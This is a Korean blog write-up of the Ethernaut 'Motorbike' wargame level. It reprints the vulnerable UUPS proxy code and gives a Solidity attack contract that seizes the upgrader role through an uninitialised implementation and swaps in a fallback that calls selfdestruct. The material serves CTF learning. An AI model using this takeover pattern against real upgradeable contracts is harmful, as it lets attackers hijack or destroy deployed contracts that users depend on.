Ethernaut 25. Motorbike

독수리박박·2024년 7월 29일
post-thumbnail

level 25. Motorbike

Problem


이번 문제의 목표는 로직 컨트랙트를 selfdestruct를 통해 파괴하고 프록시 컨트랙트가 작동하지 못하도록 하는 것 입니다. 결론부터 말하지면 일단 이 문제는 현재 정답 제출이 불가능합니다.

덴쿤 업데이트의 적용으로 selfdestruct이 보안 상의 이유로 로직이 변경되었습니다.

  • 변경 전: ETH를 to에게 전송, 스토리지 데이터 및 소스코드 삭제
  • 변경 후(EIP-6780): ETH만 to에게 전송

따라서 데이터가 삭제되지 않아 정답 제출은 불가능 합니다.

문제를 살펴보겠습니다.

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

이번 문제의 컨트랙트 입니다. 전 문제에서 계속 풀었던 proxy 패턴의 컨트랙트입니다. 근데 한가지 다른점이 존재합니다. 바로 Implemataion 즉 로직 컨트랙트 업데이트를 로직 컨트랙트에서 진행합니다. 이런 구조를 UUPS upgradeable pattern이라고 합니다.

컨트랙트를 살펴보면 이제 프록시 컨트랙트는 구현체에서 함수를 호출하고 데이터를 저장하고 있는 것을 보입니다. 로직 컨트랙트가 저장되는 slot은 충돌을 피하기 위해 임의의 값을 쓰고 있는 모습을 보입니다.

이외에는 크게 다른 점이 없습니다. 취약점을 살펴보겠습니다.

Exploit


이번 문제에서 가장 큰 취약점은 바로 init 함수 실행입니다. 이전에서 계속 겪었듯이 delegatecall을 사용하게 되면 caller의 context에서 함수만 가져다 실행합니다.

constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
        require(success, "Call failed");
    }

프록시 컨트랙트의 생성자 함수를 살펴보면 delegatecall로 initialize를 진행하고 있습니다. 이렇게 된다면 어떻게될까요.

바로 Engine(Logic) Contract에서는 initialize가 실행되지 않은 것으로 남아있습니다.

그렇다면 저희는 임의의 공격 컨트랙트를 작성하고 upgrader 자격을 탈취할 수 있습니다. 이렇게되면 저희의 목표인 selfdestruct 함수를 로직 컨트랙트에 심을 수 있게 됩니다.

function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

upgrader 자격을 얻고 위 함수를 호출해 로직 컨트랙트를 파괴할 수 있습니다. address는 작성한 공격 컨트랙트, data에는 selfdestruct를 실행시키는 함수나 fallback에 selfdestruct를 정의했다면 임의의 data를 넣어서 실해시킬 수 있습니다.

이전 Proxy 문제들 보다는 훨씬 간단합니다.

Solution


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Engine {
    function initialize() external;
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract Attack {
    Engine target = Engine(0x2ccE274BAf9A6A7cC1a4751eF570D0A58b04416B);

    constructor() {
        target.initialize();
    }

    function attack() public {
        target.upgradeToAndCall(address(this), "hello");
    }

    fallback() external payable {
        selfdestruct(payable(0x0));
    }
}

사용할 함수만 정의한 interface를 통해 initialize, upgradeToAndCall을 통해 fallback 함수를 실행시킵니다.
이때 Engine cotract address는 storage 접근을 통해 획득하면 됩니다.

fallback 함수에 정의된 로직을 로직 컨트랙트에서 가져다 실행시키고 로직 컨트랙트는 파괴되게 됩니다. 물론 현재는 아니지만.. 이렇게 해결할 수 있었습니다. 정답 제출에 계속 실패해 당황했던 문제입니다.

0개의 댓글